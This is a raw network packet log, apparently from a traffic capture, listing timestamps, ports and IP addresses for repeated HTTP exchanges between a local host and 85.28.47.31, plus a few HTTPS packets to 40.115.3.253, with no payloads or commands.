Jul 26, 2024 10:36:14.133121967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133131027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133147001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133157015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133167028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133172989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133183956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133197069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133200884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133208036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133227110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133240938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133966923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133985043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133999109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134013891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134015083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134030104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134037018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134047031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134057045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134063959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134080887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134088039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134098053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134116888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134135962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.134939909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134955883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134972095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134985924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.134996891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.135000944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.135010958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.135019064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.135035038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.135040998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.135052919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.135062933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.135070086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.135085106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.135113001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136127949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136143923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136157990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136173964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136177063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136189938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136209011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136213064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136229038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136238098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136245966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136254072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136262894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136281967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136305094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136774063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136790037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136806011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136814117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136827946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136828899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136847019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136852026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136864901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136873007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136881113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136897087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.136902094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136935949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.136949062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137605906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137622118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137636900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137653112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137653112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137665987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137670040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137686968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137696981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137702942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137718916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137722015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137734890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.137751102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.137777090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.138554096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.138571978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.138586044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.138602018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.138603926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.138617039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.138628960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.138653040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.198630095 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.198993921 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.199068069 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.199182987 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.199198008 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.199212074 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.219413996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219475985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219489098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219499111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.219520092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.219542980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.219646931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219659090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219671011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.219696045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.219733953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220228910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220240116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220252037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220262051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220273018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220282078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220284939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220298052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220312119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220328093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220781088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220793009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220803976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220815897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220824957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220833063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220837116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220849037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.220853090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220873117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.220890999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221285105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221304893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221321106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221343994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221369028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221740961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221752882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221764088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221775055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221785069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221796989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221801996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221817017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.221827030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221844912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.221869946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222395897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222408056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222418070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222429037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222440958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222448111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222453117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222465038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222477913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222497940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222522020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222686052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222697973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222708941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222719908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222729921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.222733021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222759008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.222769976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.258074045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.263125896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449245930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449311018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449323893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449385881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.449428082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.449529886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449542046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449548960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449556112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449640036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.449825048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449836969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449847937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449861050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449872017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.449873924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.449897051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.449923038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.450324059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450335026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450345993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450357914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450368881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450371981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.450381041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450393915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450413942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.450416088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450421095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.450431108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450443029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.450459003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.450486898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451143980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451155901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451165915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451176882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451188087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451195955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451200008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451210976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451212883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451225996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451231956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451240063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451251030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451256990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451262951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.451287031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.451303005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452183008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452233076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452244997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452267885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452279091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452301979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452311039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452336073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452342987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452368975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452378988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452402115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452411890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452435970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452444077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452485085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.452502966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.452548027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.453852892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.453887939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.453907967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.453921080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.453921080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.453953981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.453964949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.453995943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454001904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454036951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454045057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454070091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454083920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454113007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454293013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454324961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454339981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454358101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454363108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454391003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454401016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454423904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454432011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454457045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454471111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454488993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454498053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454521894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454531908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454555035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454562902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454586983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454593897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454618931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454629898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454653025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.454664946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.454696894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455151081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455204010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455281019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455313921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455322981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455347061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455352068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455380917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455388069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455413103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455424070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455446005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455456972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455477953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455487967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455511093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455518961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455543995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455553055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455580950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.455588102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.455622911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456749916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456784010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456800938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456816912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456824064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456851006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456861973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456883907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456893921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456916094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456926107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456948996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456959009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.456983089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.456989050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457026958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457032919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457065105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457082033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457098961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457110882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457137108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457149982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457182884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457215071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457247972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457258940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457282066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457292080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457313061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457328081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457345963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457355976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457381964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457393885 CEST	49710	80	192.168.2.6	85.28.47.31
